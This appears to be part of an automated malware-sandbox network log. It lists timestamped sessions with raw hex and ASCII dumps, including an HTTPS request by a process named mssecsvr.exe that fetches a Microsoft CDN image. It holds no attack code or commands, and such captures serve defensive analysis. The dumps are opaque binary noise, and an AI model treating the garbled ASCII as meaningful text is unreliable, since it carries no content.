8f 82 10 6e f8 81 ab 43 04 5e 54 5a 2e 87 69 64 04 63 01 5d ce f6 1e be a3 e9 5b c2 Data Ascii: `@Jd4GQ"l8INx\|6GQ{*FLY.T p}e;>+un)0GJ,vsuPA;"!ww'^Lh18sAjiwqk/WIu]^.$0T^r@^CioQ<H\|uCgnC^TZ.idc][
2022-07-20 04:06:50 UTC	2619	IN	Data Raw: bb 9d 0b e0 47 83 fc 3c b1 dc 9d 0d 75 3b 8c 6e f3 75 09 4c e7 3e a1 4f 00 fa e2 a7 db 53 8e 91 7f 71 a7 b3 ad 35 79 23 e4 fb 9f 14 6a 7a 84 91 26 81 a2 5c eb 0e 59 b9 58 d8 a0 1f 51 81 fa d7 a1 f8 53 e1 3f 8d 7c 4c a8 d3 a5 86 84 84 65 9a e6 41 24 b8 23 9c 20 3f cc 8a fa 07 c4 56 22 2b 18 c5 a4 51 d9 c2 06 7c a8 82 a4 60 0f 70 00 e9 5c a6 9d e2 bd 33 43 b9 00 ce 6e ee 73 b9 6d ad 37 4a e0 e3 f8 98 0c 0f c4 d7 2b c4 ce 52 b4 51 d6 b0 71 e4 bc a5 f7 17 fc 1f fb 29 78 76 ee dd 2e 75 dd 56 ff 00 5b 98 f0 f0 ee 10 42 0f fb aa 73 8f a9 af 4f d1 7e 19 f8 47 c0 6d 1f f6 4f 86 ec 2d 1b 8d d2 88 03 bf 3d 0e e3 93 9f 7c d7 01 a1 78 eb c4 6f ab 7d 92 d6 ce 1d 0e 1b ae 16 f2 f1 84 ed 9e df 22 e0 02 7d c9 ae da 4f 87 96 da b6 65 d7 f5 dd 53 5c 73 ff 00 2c fc df b3 c1 Data Ascii: G<u;nuL>OSq5y#jz&\YXQS?\|LeA$# ?V"+Q\|`p\3Cnsm7J+RQq)xv.uV[BsO~GmO-=\|xo}"}OeS\s,
2022-07-20 04:06:50 UTC	2739	IN	Data Raw: 62 1b e8 4f 27 d3 14 9b 88 62 47 18 ed 43 36 e6 c9 3c 0f d6 99 8d bc fd dc 73 8e b4 83 a8 f3 9d 80 70 5b 8c f3 d6 85 ce ee 3a e3 9c d2 11 f3 70 7f a5 3d 40 db f3 10 71 d6 82 f7 02 09 6e 06 ec 9c d2 ee 18 25 58 e7 b0 a6 b1 c7 3d 17 1c 0a 40 37 a8 db 9e 7f 2a 02 c2 b3 fc bb 06 31 fe 79 14 d4 20 28 39 c6 32 07 ad 39 d3 6a e3 82 b4 6d 0a b9 38 2d ef d2 8d c1 21 24 e1 0f 19 cf 73 55 53 25 80 fd 6a c9 3b be e9 fc fd 6a b4 7f eb 30 32 39 c5 5a d8 ce fa 93 0f bd f3 1f 98 74 f5 a8 2e 80 11 e7 a1 f6 ab 11 8c 1c 12 4e 0f 24 f3 c5 57 bb f7 f7 aa 5b 93 51 68 67 37 4a 43 c7 4a 5f ad 03 da a8 8b 89 fc 54 ec 63 93 47 f0 e6 93 3f 85 02 16 8f bd c7 7e 94 7b 77 ad 8f 0c e9 89 7d 74 f3 4f 3c 76 f0 40 bb 8c 92 e7 1b ff 00 84 00 3a 9e f8 ab 8c 5c 9d 90 d6 ac f4 cf d9 f3 e1 d5 Data Ascii: bO'bGC6<sp[:p=@qn%X=@7*1y (929jm8-!$sUS%j;j029Zt.N$W[Qhg7JCJ_TcG?~{w}tO<v@:\
2022-07-20 04:06:50 UTC	2763	IN	Data Raw: 02 5a 42 0c 50 c7 9e 76 83 d7 ea 4f 34 78 67 40 6d 5a e2 59 ee 2e 05 bd 84 1f bd 7c 92 00 1d f8 f5 3d 3d eb 47 45 f0 9c 3e 20 d1 e3 d5 74 bd 5e d2 e6 29 24 30 88 98 b2 b9 61 8d c4 29 00 90 3a 93 8e 2a 2f 17 df 5b 69 f6 51 68 f6 ee 76 c6 33 71 36 46 5e 4c 72 30 3b 0f e7 5c 2a ac 6a 53 8e 17 0a f7 dd f6 5d 7e 67 4a a3 3a 75 65 8c c6 2d 57 4e ef a7 c8 c3 f1 5f 89 17 59 9a 35 40 52 d2 d9 4a c4 5b a0 c7 19 c7 6a e5 e4 dc 78 de 08 6e 40 e8 3d 73 9a ca d4 75 b5 9a ea 58 03 b6 c0 55 72 a7 92 7d fd a9 21 be 17 97 58 64 3b 53 28 78 27 20 7a d7 d0 52 a2 a8 c1 42 1b 23 c0 a9 5a 55 aa 39 cd dd b3 53 63 33 bb bb a8 0c 48 2c 09 c8 f6 19 fd 69 04 4c ef 94 90 ba 72 30 46 01 cf 52 31 4b 0c 66 e1 88 58 f8 00 80 bd 80 f5 3e f5 72 18 56 19 55 c6 5d 54 8e 87 a9 c6 0f 35 71 d4 Data Ascii: ZBPvO4xg@mZY.\|==GE> t^)$0a):/[iQhv3q6F^Lr0;\jS]~gJ:ue-WN_Y5@RJ[jxn@=suXUr}!Xd;S(x' zRB#ZU9Sc3H,iLr0FR1KfX>rVU]T5q
2022-07-20 04:06:50 UTC	2787	IN	Data Raw: 90 0c 36 f3 81 9e c2 94 b2 6d e3 71 23 ad 20 be a3 5f 69 5c 72 47 1c d2 27 dd ce 7d e9 40 cf 4c e7 de a5 44 31 9c 71 9e e0 d0 03 22 cb 38 51 cb 13 d2 b6 bc 43 0e 93 65 75 6d 16 8d 3d cd ca 8b 68 cc f2 cf 18 43 e7 91 97 55 03 f8 41 3b 41 3c 9c 66 b3 7c c8 a3 42 40 c3 f4 cf 4a ab c9 c9 19 dc 79 a2 e4 d8 93 82 b9 63 cf 60 7d a9 8a be 9d 09 a3 61 ea 41 26 a6 0b b1 77 18 b8 e3 a7 14 08 16 05 48 f2 7e f0 ed 9e 95 19 ba d8 a3 66 0a 83 cf 14 84 19 73 8a 55 b6 0c a3 27 19 e9 40 68 35 77 4a d9 39 39 c7 e0 6a 6f 9a 37 39 1f 37 a6 69 52 03 b7 25 ba 64 51 24 88 8a 48 e4 e3 e5 3d ea 88 7d 88 9d be 4e 54 64 fb 73 9a 69 e3 1c 70 3f 0e 69 5a 6f 98 ed cf 3f a5 09 16 7b 9f c6 98 81 4e 5b a7 cc bf e7 35 22 26 50 67 a7 71 9c 52 0d ab f2 0c 96 c5 0c ae dc 1c 62 8b 30 b8 af 96 Data Ascii: 6mq# _i\rG'}@LD1q"8QCeum=hCUA;A<f\|B@Jyc`}aA&wH~fsU'@h5wJ99jo797iR%dQ$H=}NTdsip?iZo?{N[5"&PgqRb0
2022-07-20 04:06:50 UTC	2811	IN	Data Raw: 34 d9 07 cf 28 ec ce 0f 40 7d 3a d7 d0 8e 11 5a 38 20 45 8e 24 50 aa ab c2 c6 a3 a0 00 76 a8 6d f5 ed 3b 58 79 23 d3 2f e1 bd 68 80 12 7d 95 b7 05 f6 24 70 0d 58 85 31 96 03 18 07 00 9e b5 c5 29 73 ea 74 fb 27 4f 75 a8 e5 fd da 84 50 37 63 96 35 e5 bf b4 5f 8b ff 00 e1 1e f0 7c 5a 6d b1 22 ef 53 90 06 c7 51 10 fb df 81 38 af 57 48 55 72 1f 1b ba b3 1e 80 0a f8 bf e3 77 8f 3f e1 33 f1 a5 ec 90 bb 3d 85 b3 9b 4b 65 ed b5 4e 33 f5 2d 92 7d a9 d3 8f 33 31 ab 2d 14 5f 53 cf ee c3 46 d2 90 49 dc c3 25 ba 13 e9 f8 53 49 c6 10 7c ec dc 02 06 40 1d f3 8a 8a 5c 46 d9 27 2d c1 00 1e 32 7e be 94 f5 91 95 54 13 f3 12 46 09 f5 ae b9 5e d7 08 d9 e8 3e 5b 64 86 40 8f f7 b2 7e 6e 80 80 3a 54 2f 13 c7 36 c4 8f e5 ea c4 f1 d3 9a 73 4c 43 6d 7d c4 9d a4 48 df d4 57 a6 7c 1f Data Ascii: 4(@}:Z8 E$Pvm;Xy#/h}$pX1)st'OuP7c5_\|Zm"SQ8WHUrw?3=KeN3-}31-_SFI%SI\|@\F'-2~TF^>[d@~n:T/6sLCm}HW\|
2022-07-20 04:06:50 UTC	2859	IN	Data Raw: 17 f2 68 96 51 e9 f0 01 85 b6 87 88 c1 27 96 03 fb c7 b9 35 d1 b3 0f 2c 91 c1 f4 f7 ad d2 e5 eb 72 6b d5 85 66 a7 08 f2 e9 b6 e2 30 53 80 07 0a 01 eb cd 55 b8 84 dd 29 52 84 ee ce 08 3c fb 55 db 75 2e a5 88 18 fb bc fa d2 91 e5 ef 20 b7 4e 48 c8 a6 d9 cc 93 63 60 76 92 de de 4d e3 78 53 13 a9 cf de 1c 74 f5 ae 8f 43 b2 9a 27 49 58 61 dc 63 18 e5 45 67 f8 5b 48 71 35 dd f3 83 e4 3b 03 14 67 a8 7e 84 9f 6a ed ec 6d 0a 27 9a f9 c9 fb a0 d6 12 b1 d9 1b ad cb 56 f1 79 70 e0 0c c8 dd 4f bd 78 67 ed 05 f1 4b c9 b6 97 c3 da 45 c0 0c 0e db db 98 cf dd e3 ee 29 f6 ef 5d 7f c6 3f 8a 96 ff 00 0e 74 b4 b5 85 b7 eb 17 c8 44 31 8f f9 64 b8 c1 73 5f 10 78 8f c4 33 6a 77 ce 05 c9 79 24 91 99 fd db be 7e b4 e1 06 fd e6 2d 25 a7 43 3a f3 7b 6a 4e b1 45 e6 b1 38 1b 79 c9 ff Data Ascii: hQ'5,rkf0SU)R<Uu. NHc`vMxStC'IXacEg[Hq5;g~jm'VypOxgKE)]?tD1ds_x3jwy$~-%C:{jNE8y
2022-07-20 04:06:50 UTC	2898	IN	Data Raw: fd a7 f8 5b 8c 7f 3c d2 be 77 30 de 41 93 b1 1f 2f b1 aa 4c 8e 5b 84 60 cd 96 24 05 1c 18 cf 00 e7 d2 87 f9 4a 05 3b 19 4f 00 0e 80 75 27 d6 9a 40 2d f7 02 3e 78 c9 ff 00 1f 6a 69 97 cd e3 20 6e 38 6c 1f 4e b5 2d b5 b0 d2 41 e6 e6 e3 cc c9 90 31 20 b1 e9 81 80 31 5e b5 f0 5b c0 76 52 ad cf 8c 75 f2 13 43 d2 cb 49 12 ca 3e 59 a4 5e 98 cf 07 07 a7 bf 15 c8 7c 36 f8 7f 3f c4 0f 13 5b d8 44 7c bb 48 8e fb 89 80 e2 28 c7 5e 7d 48 e0 57 79 f1 5f c5 f1 6b 2d 6f e1 7d 01 23 8b c3 ba 51 11 01 16 36 cf 22 ff 00 17 fb a3 9c 13 d4 d7 25 49 39 3e 54 7a 14 61 ca ae 65 f8 9f 5f bd f1 ae b5 3f 88 ef 3f 74 84 32 db 5a b1 c7 93 10 e9 8e c3 d4 9e f5 8d f0 73 e1 75 cf c6 ef 89 52 3d d1 23 c2 9a 44 8b 25 eb 8e 3c d6 27 2b 12 fb b1 fb c7 b0 fa d5 f8 34 bb af 16 c9 61 a0 58 23 Data Ascii: [<w0A/L[`$J;Ou'@->xji n8lN-A1 1^[vRuCI>Y^\|6?[D\|H(^}HWy_k-o}#Q6"%I9>Tzae_??t2ZsuR=#D%<'+4aX#
2022-07-20 04:06:50 UTC	2986	IN	Data Raw: 10 e0 62 a2 48 0b 2e 3e 6f 97 19 19 24 e3 db ff 00 af 52 cd 2f 9d 91 20 1b c2 ed 07 b0 51 d3 3e a6 87 61 45 de f2 1b 21 de a5 4c 7f 28 e7 76 7b 8f 7f 5f c2 a2 67 09 08 5c e4 67 ae 09 1c 8e 30 7b 7b d4 8f 99 10 05 dc fe bb ba 71 d4 8a f4 3f 82 7f 0f 24 f1 d7 88 5e 7b a5 23 43 b0 2b 24 ed b7 01 c8 e4 27 b6 71 c9 ec 2a 6a 49 46 2e 4c ba 71 e6 95 8e bb e1 5e 85 67 f0 9f c0 b7 1e 3d d7 e3 c5 dc a8 63 d3 2d 4f df 6c 8f 95 b0 7a 67 f4 15 e6 70 6a 13 eb fa dd fe bb ab bf da 6e 2e 98 c9 8e b8 6e c0 67 b0 1c 0a eb 3e 31 f8 9a e3 e2 07 8d 8e 9f 6e f0 c5 a1 e9 88 16 08 a2 90 6c da 30 37 9c 7f 11 ce 00 ec 2b 89 b9 bb 8f 45 b7 31 45 19 bb b9 72 b6 f6 96 d1 f0 d3 4a e7 6a a8 23 ae 4f 5a e3 49 ca f6 dd 9e 9c 6c 92 6f 64 6c 78 47 c0 f7 3f 17 7c 75 63 e1 3b 53 2c 16 a0 fd Data Ascii: bH.>o$R/ Q>aE!L(v{_g\g0{{q?$^{#C+$'q*jIF.Lq^g=c-Olzgpjn.ng>1nl07+E1ErJj#OZIlodlxG?\|uc;S,
2022-07-20 04:06:50 UTC	3009	IN	Data Raw: cf 07 85 1d a9 ef 36 e6 52 dd b8 00 74 02 80 12 6f 99 b2 40 c9 1c 60 f4 1d aa 44 c4 6b bd fe f6 38 14 c8 e3 cb 6e 3c 8e b9 a5 71 e6 be 47 cc 05 32 58 0c 9c 39 00 9e d9 a1 c9 3c 93 de 8c ed 6c 0e 7d 8d 3a 31 97 e4 60 01 41 36 d4 55 40 bf 31 19 18 e0 7a 52 1c ee cf 41 dc 75 a1 e5 cb 05 e8 0f 5a 7f 97 b6 30 73 d7 a0 f6 a0 42 26 15 4e 39 63 51 b3 7c d8 1e b4 ad c3 ed cf 6a 58 d4 2a 92 3a f5 cf b5 02 1c a8 59 ce 4e 0e dc fe 5e b4 e7 2b 22 fc b9 da 31 9a 6a 19 1f e5 07 19 a2 49 02 2e c4 fb b8 19 f7 34 0a c3 58 84 5e 3e f7 4f 5c d0 ab 9e 58 52 6d ee 5b d3 b5 28 93 2d 8e d8 aa 01 d9 6d df 77 f1 a4 24 b6 41 e7 1c d2 90 55 79 ef c7 e0 68 04 0c ed c9 3f ce 97 51 31 bb 71 d3 83 c9 a7 aa 04 fa d3 46 07 20 f3 fe d5 3d 81 44 1c 7c e4 f1 ed 43 12 1a 5b 6b 6d fe 22 73 f5 Data Ascii: 6Rto@`Dk8n<qG2X9<l}:1`A6U@1zRAuZ0sB&N9cQ\|jX*:YN^+"1jI.4X^>O\XRm[(-mw$AUyh?Q1qF =D\|C[km"s
2022-07-20 04:06:50 UTC	3113	IN	Data Raw: 86 1d 6d b4 dd 29 04 32 98 57 70 69 3a 60 1e fb 7a 1f 73 ed 5c 75 25 cd ee a3 ba 9c 6d ad cf 35 f1 b7 89 ae bc 77 e2 6b 9d 4e f3 22 37 6f dd c4 4e 7c a5 1f 75 7f 01 fa d7 2d a9 dd 88 23 c2 db bc b3 b4 8b 14 30 a8 2c d3 48 4e d5 45 1d 49 24 e3 02 b4 4a 9b 74 39 8d 4b 30 2c 4f 20 e7 be 05 7a f7 ec a7 f0 a9 bc 53 af ff 00 c2 c0 d4 e2 1f d9 b6 0e d6 fa 34 12 0c f9 d2 8e 1e e0 83 d9 79 55 f7 c9 a6 ac 91 51 f7 77 3d b7 e0 0f c1 f4 f8 55 e0 c4 82 f2 35 7f 12 ea 85 6e b5 59 86 0f ef 31 f2 c4 0f f7 50 1d b8 1d f2 6b d6 08 5b 78 49 63 c0 e9 4d b5 83 ca ea 7d ea b5 f5 c8 79 30 18 6d 51 59 36 e4 ee ce 7e a5 4b a9 cb e4 72 7a f4 f7 aa 0d 3e 5b 27 82 05 5a 61 e9 cb 1e f5 4d c3 48 d9 e3 1f ce aa 28 ce 52 b9 0b 39 dd 93 92 b5 ca fc 49 f1 dd b7 c3 bf 0a dc 6a b2 8f 3e f6 Data Ascii: m)2Wpi:`zs\u%m5wkN"7oN\|u-#0,HNEI$Jt9K0,O zS4yUQw=U5nY1Pk[xIcM}y0mQY6~Krz>['ZaMH(R9Ij>
2022-07-20 04:06:50 UTC	3145	IN	Data Raw: 3e 95 1a 91 b8 e7 9a 94 92 ca 30 40 c7 7a 92 86 6e 2c c3 e6 e3 a5 0b c6 48 1d 3b d2 63 0b df d0 9a 01 c3 73 db fb b5 44 0f 60 5e 42 31 c7 53 4c 91 fe 62 ab 9c 74 c5 3c e7 a8 e4 71 93 9e b4 81 4e e2 47 23 14 86 34 2f 4e ec 3d 29 08 c6 4f 63 de a4 8e 22 14 b7 41 eb eb 4d 55 dd 92 bc 93 40 c6 af 1f 7b ad 2b 28 3c 02 72 79 3f 4a 1f ee 80 a3 9c 73 48 c4 ed 01 7b 75 c5 31 0a a9 b9 87 20 77 fa d0 ca 76 9c 74 1c 7b fb d3 b6 80 c0 0e df c8 d3 79 2f b3 19 eb 4c 40 06 e6 04 81 b7 f4 14 f1 88 d4 b0 e5 98 71 8e 29 ea 88 b0 92 73 e6 67 1b 47 4c 54 2c 73 c1 f5 fc 69 ad 84 f5 63 5b b8 cf 27 39 3d e9 d1 a8 55 20 70 dd b1 e9 4e d8 ca a4 85 cf f8 53 b6 ed 4e 45 20 6f 42 3d b8 e5 b8 3d 47 7a 7a 2e e5 24 f1 df f0 a6 80 64 6c f1 b4 74 e6 94 9c 70 39 e2 93 26 cc 8d 81 e9 db d6 Data Ascii: >0@zn,H;csD`^B1SLbt<qNG#4/N=)Oc"AMU@{+(<ry?JsH{u1 wvt{y/L@q)sgGLT,sic['9=U pNSNE oB==Gzz.$dltp9&

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
61	192.168.2.6	50633	80.67.82.211	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:06:50 UTC	1223	OUT	GET /cms/api/am/imageFileData/RE4Fw5p?ver=52cf HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: img-prod-cms-rt-microsoft-com.akamaized.net Connection: Keep-Alive
2022-07-20 04:06:50 UTC	1342	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RE4Fw5p?ver=52cf Last-Modified: Sun, 17 Jul 2022 21:08:30 GMT X-Source-Length: 639943 X-Datacenter: northeu X-ActivityId: 2f89da6b-92c9-4aeb-b6bd-3734e73de053 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 639943 Cache-Control: public, max-age=234021 Expires: Fri, 22 Jul 2022 21:07:11 GMT Date: Wed, 20 Jul 2022 04:06:50 GMT Connection: close
2022-07-20 04:06:50 UTC	1359	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIF``CC8"}!1AQa"q2
2022-07-20 04:06:50 UTC	1390	IN	Data Raw: 23 5d ca cc db 77 67 b0 ae f8 d4 8d f5 67 34 a1 7d 88 2c 6e 22 91 7f d2 19 a2 65 6d b5 87 7d e6 bd d4 ae 9b 59 37 55 cb 9b 5b dd 2d a5 46 b6 6f f8 17 f7 aa 93 3b c3 6f cc 4d 13 ff 00 ec d5 db 0e 4b a6 79 95 55 65 78 db 42 48 5f 73 32 19 5a 2f 97 ee d6 f6 93 6b a7 dc 69 b3 c5 2c ec b7 9c 6d 66 6f 96 b9 eb 36 8b 50 85 92 37 fd ee da 74 76 6c 91 ca 03 7e f5 58 7c b5 d3 ca 92 bf 73 83 9e 5a 38 e8 d1 d2 fd 8e da d6 35 02 e6 35 96 3f 97 bf cd ef 57 a4 d4 05 9c 91 13 17 db 11 b1 b9 97 ef 71 d2 b8 4b 86 b8 92 6d 93 ab 2f f7 ab 53 4f d5 8d ae d0 ea b2 ed 6d df 37 cd 51 6d 4b 52 95 b5 5a 9d 25 cf 88 2c ee 23 f2 e2 6f 21 95 7f 89 7f 8b da a8 69 5a 84 f6 b3 30 79 fe 56 53 b5 bf 8a ac 58 da d8 6a ab 97 fd c3 2f cd fe 3f 4a cf d5 6d a0 b5 8d 93 6b 4b fe d2 fd ed b5 4e Data Ascii: #]wgg4},n"em}Y7U[-Fo;oMKyUexBH_s2Z/ki,mfo6P7tvl~X\|sZ855?WqKm/SOm7QmKRZ%,#o!iZ0yVSXj/?JmkKN
2022-07-20 04:06:50 UTC	1406	IN	Data Raw: 91 2f cd fe cd 25 b4 8e b3 64 36 d6 dd f7 ab de 2f fc 2b e1 86 85 45 b6 95 6d b7 ee c8 cc c5 99 99 7a e3 d3 35 57 c3 3f 0d 34 fd 6a eb 6c 1a 6a b2 7f 0a b3 6d f9 8f fb 47 15 6e b2 da c6 3f 57 5c bc ca 46 06 95 a5 e9 97 11 d8 dd dc c4 de 74 71 ed dd 1f cc b2 7b 9c 57 46 f7 30 6e f2 a3 dd b7 ef 79 7f c2 be 95 a6 fe 1a 83 4d 8d 63 82 7b 46 48 d7 ee c6 cf fb b6 f4 e4 72 6b 77 47 f8 69 ae eb d6 bf 6d b4 d3 99 ac d5 b6 fd a6 79 11 63 dd d7 1b 9c 8e 7d ba d7 1c 29 c9 2b 6e 76 f3 45 2d ce 3a e1 8a c7 88 d9 55 db e5 55 ae 3b 56 f0 ad ee a1 27 cf 79 26 24 6f ba df 37 f2 af 59 d6 fc 0d 73 a2 de 34 57 a9 1f da 1b ee ed 90 32 b7 d0 8e 31 54 d3 c3 72 fd 9e 26 78 95 7c cc ae e5 90 6d 6f fe b5 74 45 4a 3a a3 39 da 5f 11 e2 f7 1e 05 96 c6 68 8b cf e6 ab 7f 75 7e 6a 8f 50 Data Ascii: /%d6/+Emz5W?4jljmGn?W\Ftq{WF0nyMc{FHrkwGimyc})+nvE-:UU;V'y&$o7Ys4W21Tr&x\|motEJ:9_hu~jP
2022-07-20 04:06:50 UTC	1425	IN	Data Raw: d1 98 55 93 b6 bb 16 64 b9 11 ee ce ed bf c4 bb 6a 24 90 c8 ca 77 32 af fd f2 bc d0 ff 00 2f fc b5 5f 97 1f 2f 3f 32 d3 23 58 d1 55 fe 66 dc df 36 df 96 b7 8c 25 6d 8f 3a a6 2a 9f b4 b3 95 bc ba 93 ab 8f 2f 29 b9 aa 46 ff 00 8f 75 c7 fa d5 5d cb b9 7e ef e7 50 2d cb ee 50 ee c8 3f de ff 00 1a 8e 4b dd ec a5 15 95 b7 7f 12 ee 5f ae 7a d7 4c 68 d8 f2 aa 66 1e d2 fc aa c9 6c 68 24 df 6a 91 64 1f bd db f2 fc df 2b 2f b8 14 82 f6 3f 3b f7 5f 7f ee b3 2f cb cd 52 7b a1 1f c8 24 dc 9b b7 2e df bb fc ea 97 db a4 8e 4d e3 6a ab 7c b5 ae 89 ef 73 82 53 93 f8 63 67 de e6 8b 49 1b 49 cc b2 49 fe f7 ca cd eb 55 2e 2e 24 46 dc 19 b6 fd d5 5d a7 e6 a8 66 b9 91 57 73 ce ad fe ef cb fa 9a 89 ee 8c 91 e1 be f5 5f 35 f6 39 9c 5a b2 6b a9 37 da 24 65 63 f7 7f e0 4b 8f e7 55 Data Ascii: Udj$w2/_/?2#XUf6%m:*/)Fu]~P-P?K_zLhflh$jd+/?;_/R{$.Mj\|sScgIIIU..$F]fWs_59Zk7$ecKU
2022-07-20 04:06:50 UTC	1594	IN	Data Raw: 7e a9 a3 e2 07 6f b3 b3 46 ec cc bf c2 db be 5a dd d1 61 b8 b9 85 a2 49 e3 d9 b7 cc da de dc d7 b7 ea df b1 86 b8 97 0c fa 66 a7 69 73 12 e7 6c 77 2d b5 ab 90 d5 7f 66 9f 88 3e 1d 91 90 69 4b 3f 99 f2 af d9 a4 0f ba 9c e4 9c 6c 99 9a c1 d6 8b ba 57 f4 69 9c 8e 95 0f d9 ae 14 3a ab 2b 2e ed cd 5e b1 f0 af c6 96 5e 1e d6 b3 73 a7 e9 f7 d6 f2 7f ad 59 23 46 f9 7b 60 e3 8a f2 cb 9f 00 78 d2 d5 bc a9 74 1b ed d1 2f cd 1f 97 b9 ab 53 c3 de 1b f1 0c 2b 2c 69 a1 ea 1e 7f 0c db 6d 9d bf a5 70 55 8d 48 be 78 bd 41 d2 a9 b3 8b 4c fa 0b c4 12 7f c2 c6 65 fe cb f0 d4 ff 00 62 fb ad 35 a6 56 2d de 98 00 0c d7 79 e0 3b ad 6f 4b d1 e2 d1 ee 74 5f 96 2c ed 8e e7 1b 55 7d 48 fb c4 d4 9f b3 b3 ea 5a 5f 83 57 fb 42 09 d5 a5 93 f7 71 f9 05 5a 35 f7 cf bd 27 8f fe 0b 5c f8 87 Data Ascii: ~oFZaIfislw-f>iK?lWi:+.^^sY#F{`xt/S+,impUHxALeb5V-y;oKt_,U}HZ_WBqZ5'\
2022-07-20 04:06:50 UTC	1610	IN	Data Raw: b4 d9 50 ad 52 9b bc 34 67 87 68 9f b3 66 bf f0 f7 54 bb 97 c2 1e 31 9f 45 b7 b9 8f 6a c6 d0 87 95 57 d0 37 50 3f 2a f5 5f 07 e9 5a 8f 83 f4 98 b4 bb 8b cb 9d 5e 5d c5 e7 bb b9 fb f3 3b 1c 92 7a e3 e9 5b 76 da d9 92 1c 2a f9 f2 ee fe 1c 7c df 41 56 1f 5d f2 da 7c 2f cd 1f cd fe d7 e3 5a 7b d6 e5 e6 d0 c2 4a 9c a7 ed 39 12 7d d2 b3 23 f2 67 66 95 c4 52 33 6d 0d bb 70 da b9 ec 29 26 f0 f4 b7 3f 3a 32 fc ab b7 e6 6f ce ac da eb 46 45 89 a4 db 3b 32 ff 00 cb 35 f4 ab 2f a8 46 8c a8 2c fe 56 6d cd b9 4a fc d5 3c a9 ee 57 3b e8 8c eb 5f 0f 5c bc d2 ac 9e 5a ed c3 2a ee ff 00 38 ab 2b 6c f2 48 c9 bb e6 5f bd b7 e6 eb 56 21 d5 11 56 5d f6 d2 7c cc 7e f6 7e f7 f8 55 68 ef fe 5f dd 6d 89 a3 5d ac ad 42 8a 5b 07 34 9e e8 97 fb 1c ee 5c 5c c9 b9 7e f6 e5 dd da 99 fd Data Ascii: PR4ghfT1EjW7P?_Z^];z[v\|AV]\|/Z{J9}#gfR3mp)&?:2oFE;25/F,VmJ<W;_\Z*8+lH_V!V]\|~~Uh_m]B[4\\~
2022-07-20 04:06:50 UTC	1713	IN	Data Raw: c1 fc 4d 4f e1 f5 d7 2c e1 82 5d 2e cd 6c 5b 6f da 64 6b 46 f9 e4 4e 9e 66 7f 40 2b d7 af ee b4 1d 56 3c 5f c1 3c 56 ac c5 96 36 c4 bb bb 02 47 b5 70 5e 21 d1 20 f0 37 db b5 8d 33 53 81 b4 9b 98 1d 5a da 76 db 2e ef 4f c4 d6 b4 9c af 66 73 d7 a3 19 49 ce 3f 35 b1 dc f8 3f e3 57 89 34 7b 78 2d ee 20 fe d0 6d de 5a f4 57 6e fc e2 bb cd 27 e3 ab df 6a cb 6d 79 e5 d8 ba fc d2 2b 30 6d bf e1 8a f9 de e3 56 92 3d 0e db 50 b0 81 ac f5 e9 e3 f3 67 69 f3 b5 54 8f e1 f5 ac 1b 6d 2b c5 3a d2 ce f6 f6 d2 5c af 1e 62 c1 01 6d ac 79 1c 28 cf 23 9a f4 1b b3 6a f7 b1 e4 46 0d a8 b8 ab 73 6d fe 47 d9 d7 1e 24 bc d5 ad e0 92 c3 57 82 54 59 46 e6 56 1f 2a 8e a3 6f 53 51 dc 7c 51 fe c1 d2 f3 71 67 25 cb 32 fe f2 35 52 cd b7 f1 c5 7c d7 e1 df 83 9f 14 63 55 9e cb 4c b9 b1 59 Data Ascii: MO,].l[odkFNf@+V<_<V6Gp^! 73SZv.OfsI?5?W4{x- mZWn'jmy+0mV=PgiTm+:\bmy(#jFsmG$WTYFV*oSQ\|Qqg%25R\|cULY
2022-07-20 04:06:50 UTC	1729	IN	Data Raw: e4 6f f3 e9 52 ee 96 c2 e9 4c 12 ee 66 8f 76 d6 f9 97 8e 8b 8e b4 ed d1 a1 6b ba 24 8e 6b 9b a8 71 73 75 1c ac ca 5a 45 55 2a ad fc b8 ad bb 58 4a c7 2c 6e aa af 1e 65 dc cc 19 97 3d cf a5 61 cd ac 0d d2 99 e0 81 a0 dc 3e 68 fe 56 56 03 9c 8e 87 d6 aa 25 c5 b4 91 aa a4 bb 92 4c 2e d9 fe 5f 33 77 f9 f5 aa 69 6e 42 d1 9b 2b 71 77 a4 ab 6f 6f 3d 24 93 cb 68 e3 60 cf 27 d3 71 e0 7e 35 15 9d 8c b6 6d 2c 91 b7 cf 27 f0 ed db b7 3d 46 33 8e 9d f3 4b f6 79 23 8d 5e 28 be 48 e2 db 16 d6 1f 78 f4 e7 a6 2a 3b 6b fb b7 ba 9e 09 ec 59 95 54 47 e7 ed 0c fb 8f d3 1d 28 49 77 2b 5b 6c 48 e9 f6 af 29 c2 b6 f8 b2 de 5c 7f 36 ef d7 3b 7e b5 0d e5 8d b5 ca aa 05 bb 64 8d b7 37 ca 57 6f b7 e7 5b 36 0b 1a ed 12 79 9e 7e e2 bf 37 ca ab 8e 82 af ad b0 56 93 fe 26 16 8b b6 3d cd Data Ascii: 